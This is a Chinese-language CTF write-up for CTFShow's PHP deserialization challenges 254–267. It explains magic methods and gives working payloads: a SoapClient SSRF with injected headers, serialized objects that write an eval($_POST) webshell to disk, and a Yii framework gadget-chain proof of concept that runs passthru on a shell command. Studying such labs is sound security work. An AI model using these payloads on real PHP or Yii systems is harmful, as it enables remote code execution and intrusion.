CTFShow反序列化

反序列化

序列化的概念:把一个对象转为字符串

序列化的好处:

1、有利于数据存储

2、方便数据传递

序列化后字符串的格式

Public属性序列化后格式:成员名
Private属性序列化后格式:%00类名%00成员名
Protect属性序列化后格式:%00*%00成员名

O:对象类名长度:”对象类名”:对象属性个数{属性名类型:属性名长度:”属性名字”;属性类型:属性长度:”属性内容”}

PHP序列化与反序列化方法:
1、__construct 当一个对象被创建时调用
2、__destruct 当一个对象被销毁时调用
3、__toString 当一个对象被当作一个字符串时使用
4、__sleep 在对象被序列化之前运行
5、__wakeup 在对象被反序列化之后调用
__construct
// 触发条件,构造函数,当构造一个对象时调用。
// 对象创建时销毁
__destruct
// 触发条件,析构函数,对象销毁时被调用。
// 序列化时会销毁一次,对象销毁时执行,序列化输出前运行,但不影响序列化内容
__unserialize
// 触发条件,7.4版本以上,反序列化时出发,且可以绕过__wakeup
__sleep
// 在对象被序列化之前运行
__wakeup
// 在对象被反序列化之后被调用
__invoke
// 当对象被调用时执行
// 函数形式调用对象时,触发的方法

254

payload:?username=xxxxx&password=xxxxx

按照题中全等于直接构造即可

255-257

构造就行

258

过滤了O:数字的形式,在冒号后加+即可,URLdecode会自动解析成连接的

259

什么玩意跳过了

//flag.php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);

if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

//index.php
<?php
$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

灰溜溜的回来看WP

如果调用一个没有定义的方法,那么就会使用类本身的call方法。由于给了个ssrf的代码,那么河里推断这是一个ssrf的原生类。
//PHP中原生类
class SoapClient {
    /* Methods */
    public __construct(?string $wsdl, array $options = [])
    public __call(string $name, array $args): mixed
    public __doRequest(
        string $request,
        string $location,
        string $action,
        int $version,
        bool $oneWay = false
    ): ?string
    public __getCookies(): array
    public __getFunctions(): ?array
    public __getLastRequest(): ?string
    public __getLastRequestHeaders(): ?string
    public __getLastResponse(): ?string
    public __getLastResponseHeaders(): ?string
    public __getTypes(): ?array
    public __setCookie(string $name, ?string $value = null): void
    public __setLocation(?string $location = null): ?string
    public __setSoapHeaders(SoapHeader|array|null $headers = null): bool
    public __soapCall(
        string $name,
        array $args,
        ?array $options = null,
        SoapHeader|array|null $inputHeaders = null,
        array &$outputHeaders = null
    ): mixed
}
//可以得知构造SoapClient的类对象的时候,需要有两个参数,字符串$wsdl和数组$options
在构造SoapClient类时,传入数组参数为:
array('uri'=>'http://链接','location'=>'http://链接/文件','user_agent'=>'UA头')
该类的__call方法可构造请求使其对指定URL发起POST请求
所以构造该类代码如下


<?php
   $ua="ctfshow\r\nx-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1\r\nContent-Type:application/x-www-form-urlencoded\r\nContent-Length:13\r\n\r\ntoken=ctfshow";
   /*相当于构造出以下请求
   User-Agent: ctfshow
   x-forwarded-for:127.0.0.1,127.0.0.1,127.0.0.1
   Content-Type:application/x-www-form-urlencoded
   Content-Length:13
   
   token=ctfshow
   */
   //由于Content-Length已经确定,所以后面该类自行构造的请求头失效
   $s=new SoapClient(null,array('uri'=>'http://127.0.0.1/','location'=>'http://127.0.0.1/flag.php','user_agent'=>$ua));
   echo serialize($s);
?>

260

就输入那串字符就行

261

知识点:在7.4以上版本反序列化会绕过__wakeup()函数

$this->code==0x36d是弱类型比较,0x36d又有没有打引号,所以代表数字877,构造时使用877开头的文件即可,最终构造内容如下

<?php
   class ctfshowvip{
      public $username="877.php";
      public $password="<?php eval(\$_POST['kkk']);?>";
  //这里记得转译,不然会让你传入kkk参数的
      public $code;
   }
   $s=new ctfshowvip();
   echo serialize($s);
?>
//无语Windows Defence把我文件删了😅

262

简单轻松解法:

在message.php中直接构造token=admin的类

困难学习解法:

263

菜狗直接wp

首先看

//index.php
$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);
//明显limti写错了,所以这个代码永远执行的是$_SESSION['limit']=base64_decode($_COOKIE['limit']);
//所以我们就可以控制session中的内容

知识点:session在存储时有两种形式,一种是php,一种是php_serialize

<?php
	class user{
      public $name="jlan";
      public $pass="123456";
  }
	$s=new user();
	//php存储:user|O:4:"user":2:{s:4:"name";s:4:"jlan";s:4:"pass";s:6:"123456";}
	//php_serialize存储:a:1:{s:4:"user";O:4:"user":2:{s:4:"name";s:4:"jlan";s:4:"pass";s:6:"123456";}}
?>

发现诡异的点了吗,在php存储中,|是用来分离变量名和序列化后的内容的,所以只要我们构造出序列化好的内容并且在前面加|就可以让程序进行自动反序列化

继续查看inc/inc.php

//inc/inc.php
class User{
    public $username;
    public $password;
    public $status;
    function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }
    function setStatus($s){
        $this->status=$s;
    }
    function __destruct(){
        file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));
    }
}

其中包含file_put_contents函数可进行一句话木马的写入

最终构造如下

class User{
    public $username="1.php";
    public $password="<?php eval(\$_POST['kkk']);phpinfo();?>";
    public $status='1';
}
$s=new User();
echo base64_encode('|'.serialize($s));

首先修改cookie访问主页,然后访问/check.php使得木马文件被写入,最后访问/log-1.php即可

264

265

地址传参

<?php
class ctfshowAdmin{
   public $token;
   public $password;
   public function __construct(){
       $this->token='a';
       $this->password = &$this->token;
	}
}
$a=new ctfshowAdmin();
echo serialize($a);
?>

266

匹配抛出异常后__destrurt不触发,所以使用大小写绕过即可

267

yii框架的反序列化漏洞,利用的类

yii\db\BatchQueryResult
    public function __destruct()
    {
        // make sure cursor is closed
        $this->reset();
    }
    public function reset()
    {
        if ($this->_dataReader !== null) {
            $this->_dataReader->close();
        }
        $this->_dataReader = null;
        $this->_batch = null;
        $this->_value = null;
        $this->_key = null;
    }

这里的$this->_dataReader内容可控,可以调用不存在close方法并且存在__call方法的类,全局搜索__call方法后,发现在
yii\vendor\fzaninotto\faker\src\Faker\Generator.php
    public function __call($method, $attributes)
    {
        return $this->format($method, $attributes);
    }
跟进format
    public function format($formatter, $arguments = array())
    {
        return call_user_func_array($this->getFormatter($formatter), $arguments);
    }
跟进getFormatter
    public function getFormatter($formatter)
    {
        if (isset($this->formatters[$formatter])) {
            return $this->formatters[$formatter];
        }
        foreach ($this->providers as $provider) {
            if (method_exists($provider, $formatter)) {
                $this->formatters[$formatter] = array($provider, $formatter);
                return $this->formatters[$formatter];//这里会返回传入的$formatter的值
            }
        }
        throw new \InvalidArgumentException(sprintf('Unknown formatter "%s"', $formatter));
    }
发现format方法中的call_user_func_array的第一个参数可控,想要利用进而查找调用了call_user_func函数的无参方法。发现了IndexAction.php中的run方法
yii\rest\IndexAction.php
    public function run()
    {
        if ($this->checkAccess) {
            call_user_func($this->checkAccess, $this->id);
        }

        return $this->prepareDataProvider();
    }
在run方法中checkAccess和id都可控,利用链构造成功

利用链

yii\db\BatchQueryResult::__destruct() -> Faker\Generator::__call() -> yii\rest\IndexAction::run()

poc
<?php
namespace yii\rest{
    class CreateAction{
        public $checkAccess;
        public $id;

        public function __construct(){
            $this->checkAccess = 'passthru';
            $this->id = 'tac /flag';
        }
    }
}

namespace Faker{
    use yii\rest\CreateAction;

    class Generator{
        protected $formatters;

        public function __construct(){
            $this->formatters['close'] = [new CreateAction(), 'run'];
        }
    }
}

namespace yii\db{
    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;

        public function __construct(){
            $this->_dataReader = new Generator;
        }
    }
}
namespace{
    echo base64_encode(serialize(new yii\db\BatchQueryResult));
}
?>